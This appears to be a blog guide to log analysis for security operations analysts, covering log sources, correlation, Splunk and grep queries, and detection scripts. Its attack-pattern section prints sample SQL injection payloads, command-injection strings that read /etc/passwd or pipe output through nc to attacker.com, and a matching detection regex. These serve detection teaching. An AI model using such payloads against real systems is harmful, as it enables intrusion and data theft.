Log Analysis for SOC Analysts: A Practical Guide

Written on January 7, 2026 by Qori Akbar Rahmatullah

7 min read

--- views

Introduction

Log analysis is one of the most critical skills for a Security Operations Center (SOC) analyst. As someone working in SOC operations, I spend a significant amount of time analyzing logs to detect threats, investigate incidents, and identify security anomalies.

In this guide, I'll share practical techniques and methodologies for effective log analysis based on real-world SOC experience.

Why Log Analysis Matters

Logs are the primary source of truth in security monitoring. They provide:

  • Visibility into system and network activities
  • Evidence for incident investigation
  • Context for security alerts
  • Audit trails for compliance
  • Patterns for threat hunting

Without proper log analysis, even the best security tools are ineffective.

Types of Logs in SOC Operations

1. Authentication Logs

Sources: Active Directory, VPN, SSH, applications

Key Events to Monitor:

# Successful logins
EventID 4624 (Windows) - Successful logon
auth.log (Linux) - Accepted password for user
 
# Failed logins
EventID 4625 (Windows) - Failed logon
auth.log (Linux) - Failed password for user
 
# Privilege escalation
EventID 4672 (Windows) - Special privileges assigned
sudo commands (Linux)

Threat Indicators:

- Multiple failed logins followed by success (brute force)
- Successful login from unusual location
- Login outside business hours
- Concurrent sessions from different geolocations
- Service account login from workstation

2. Web Server Logs

Format: Apache/Nginx access logs

192.168.1.100 - - [07/Jan/2026:10:30:15 +0000] "GET /api/users HTTP/1.1" 200 1234
192.168.1.50 - - [07/Jan/2026:10:31:22 +0000] "POST /login HTTP/1.1" 401 56

Analysis Focus:

  • HTTP status codes (especially 4xx, 5xx)
  • Unusual user agents
  • SQL injection attempts in query strings
  • Path traversal attempts (../../)
  • High request rates from single IP

3. Firewall Logs

Critical Information:

Src IP, Dst IP, Src Port, Dst Port, Protocol, Action, Bytes

Detection Scenarios:

# Port scanning
Multiple connections to different ports from single IP
 
# Data exfiltration
Unusual outbound traffic volume
Connections to rare destinations
 
# Command and Control (C2)
Beaconing patterns (regular intervals)
Connections to known malicious IPs

4. DNS Logs

Why DNS Logs Matter:

  • Malware often uses DNS for C2 communication
  • DGA (Domain Generation Algorithm) detection
  • Data exfiltration via DNS tunneling

Suspicious Patterns:

# DGA domains
longrandombhsubstrings123abc.com
qwerty12345asdfg.net
 
# DNS tunneling
Excessively long subdomain queries
High query volume to single domain
Unusual TXT record queries

Log Analysis Methodology

Step 1: Establish Baseline

Understand what's normal in your environment:

- Normal working hours login patterns
- Typical traffic volumes
- Standard user behaviors
- Common error rates
- Regular maintenance windows

Pro Tip: Anomalies are only detectable when you know what's normal.

Step 2: Filter and Prioritize

Not all logs are equally important:

# High Priority
- Authentication failures
- Privilege escalations
- Critical system errors
- Firewall denies on unusual ports
- Antivirus detections
 
# Medium Priority
- Application errors
- Configuration changes
- Normal firewall denies
 
# Low Priority
- Informational messages
- Routine warnings

Step 3: Correlation

Single events rarely tell the complete story. Correlate across:

  • Multiple log sources
  • Time windows (events before and after)
  • Related users/IPs/hosts

Example Correlation:

10:15:00 - Failed VPN login (user: admin)
10:15:30 - Failed VPN login (user: admin)
10:16:00 - Successful VPN login (user: admin)
10:16:45 - Privilege escalation (user: admin)
10:17:30 - File access (sensitive_data.xlsx)
10:18:00 - Large outbound data transfer
 
🚨 Potential compromise after brute force attack!

Step 4: Context Enrichment

Add context to raw log data:

// Enrich IP with threat intelligence
function enrichIP(ip) {
  return {
    ip: ip,
    reputation: checkReputationDB(ip),
    geolocation: getGeoLocation(ip),
    whois: getWhoisInfo(ip),
    threatIntel: checkThreatFeeds(ip),
    previousIncidents: queryIncidentDB(ip)
  };
}

Essential Log Analysis Tools

1. SIEM (Security Information and Event Management)

Popular Platforms:

  • Splunk
  • Elastic Stack (ELK)
  • IBM QRadar
  • Microsoft Sentinel

Basic Splunk Query Examples:

# Failed login attempts
index=windows EventCode=4625
| stats count by user, src_ip
| where count > 5
 
# Web attacks
index=web (sql OR union OR select)
| rex field=uri "(?<attack_pattern>.*)"
| stats count by src_ip, attack_pattern
 
# Successful login after failures
index=windows (EventCode=4625 OR EventCode=4624)
| transaction user maxspan=5m
| search EventCode=4625 EventCode=4624

2. Command Line Tools

grep - Pattern Matching:

# Find failed SSH logins
grep "Failed password" /var/log/auth.log
 
# Find SQL injection attempts
grep -i "union.*select" /var/log/apache2/access.log
 
# Count unique IPs
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

awk - Text Processing:

# Extract and count HTTP status codes
awk '{print $9}' access.log | sort | uniq -c | sort -nr
 
# Find high request rates
awk '{print $1}' access.log | sort | uniq -c | sort -nr | head -10

jq - JSON Processing:

# Parse application logs
cat app.log | jq 'select(.level=="ERROR")'
 
# Extract specific fields
cat security.log | jq '{timestamp, user, action, result}'

3. Custom Scripts

Python for Log Analysis:

import re
from collections import Counter
from datetime import datetime
 
def analyze_auth_logs(logfile):
    failed_attempts = Counter()
 
    with open(logfile, 'r') as f:
        for line in f:
            if 'Failed password' in line:
                # Extract IP address
                ip_match = re.search(r'from (\d+\.\d+\.\d+\.\d+)', line)
                if ip_match:
                    ip = ip_match.group(1)
                    failed_attempts[ip] += 1
 
    # Alert on IPs with > 10 failed attempts
    for ip, count in failed_attempts.items():
        if count > 10:
            print(f"⚠️ ALERT: {ip} has {count} failed login attempts")
 
# Usage
analyze_auth_logs('/var/log/auth.log')

Common Attack Patterns in Logs

1. Brute Force Attack

Pattern:

10:00:01 - Failed login (user: admin) from 192.168.1.100
10:00:02 - Failed login (user: admin) from 192.168.1.100
10:00:03 - Failed login (user: admin) from 192.168.1.100
[... 50 more attempts ...]
10:02:15 - Successful login (user: admin) from 192.168.1.100

Detection Query:

index=auth EventCode=4625
| stats count as failures by user, src_ip
| where failures > 5

2. SQL Injection

Log Evidence:

GET /products?id=1' UNION SELECT username,password FROM users--
GET /search?q='; DROP TABLE users; --
POST /login username=admin' OR '1'='1

Detection Regex:

(union.*select|select.*from|'.*or.*'=')|(drop|delete|insert).*table

3. Command Injection

Attack Patterns:

GET /ping?host=8.8.8.8; cat /etc/passwd
POST /exec cmd=ls | nc attacker.com 4444

4. Lateral Movement

Indicators:

1. Initial compromise (workstation A)
2. Network scanning from workstation A
3. SMB connections to multiple hosts
4. Admin credential usage across multiple systems
5. Unusual PowerShell execution

Best Practices for SOC Analysts

1. Document Everything

## Incident Log Template
 
**Date/Time**: 2026-01-07 10:30 UTC
**Alert ID**: ALT-20260107-001
**Severity**: High
**Summary**: Brute force attack on admin account
 
**Timeline**:
 
- 10:15 - First failed login detected
- 10:25 - 50+ failures observed
- 10:30 - Successful login
- 10:32 - Privilege escalation
 
**Actions Taken**:
 
- [ ] Account disabled
- [ ] Password reset initiated
- [ ] Source IP blocked
- [ ] Manager notified

2. Create Playbooks

Standardize response procedures for common scenarios

3. Automate Where Possible

# Automated alert enrichment
def enrich_alert(alert):
    enriched_data = {
        'original_alert': alert,
        'threat_intel': check_ioc(alert.ip),
        'user_context': get_user_info(alert.user),
        'historical_incidents': query_past_incidents(alert.ip),
        'risk_score': calculate_risk(alert)
    }
    return enriched_data

4. Continuous Learning

  • Stay updated with latest attack techniques
  • Practice with CTFs and security challenges
  • Review incident post-mortems
  • Learn from false positives

Real-World Scenario: Investigating Suspicious Activity

Alert: Unusual outbound traffic detected

Investigation Steps:

# Step 1: Check firewall logs
index=firewall dest_ip=external action=allowed
| stats sum(bytes) by src_ip, dest_ip
| where bytes > 1000000000  # > 1GB
 
# Step 2: Identify source host
# Found: 10.0.1.50 transferred 5GB to 185.x.x.x
 
# Step 3: Check authentication logs
index=windows host=10.0.1.50 EventCode=4624
| table time, user, src_ip
 
# Step 4: Check process execution
index=windows host=10.0.1.50 EventCode=4688
| search ProcessName="*powershell*" OR ProcessName="*cmd*"
 
# Step 5: DNS queries
index=dns src_ip=10.0.1.50
| stats count by query
 
# Step 6: Check for persistence
index=windows host=10.0.1.50 (EventCode=4698 OR EventCode=4697)
# EventCode 4698 - Scheduled task created
# EventCode 4697 - Service installed

Conclusion: Detected data exfiltration via compromised account. Malicious PowerShell script scheduled for persistence.

Conclusion

Effective log analysis requires:

✅ Understanding your environment
✅ Knowing what to look for
✅ Using the right tools
✅ Correlating events across sources
✅ Documenting findings
✅ Continuously learning new techniques

As SOC analysts, our job is to find the needles in the haystack. Master log analysis, and you'll significantly improve your threat detection capabilities.

Happy hunting! 🔍🛡️

Other posts you might like

← Back to blogEdit this on GitHub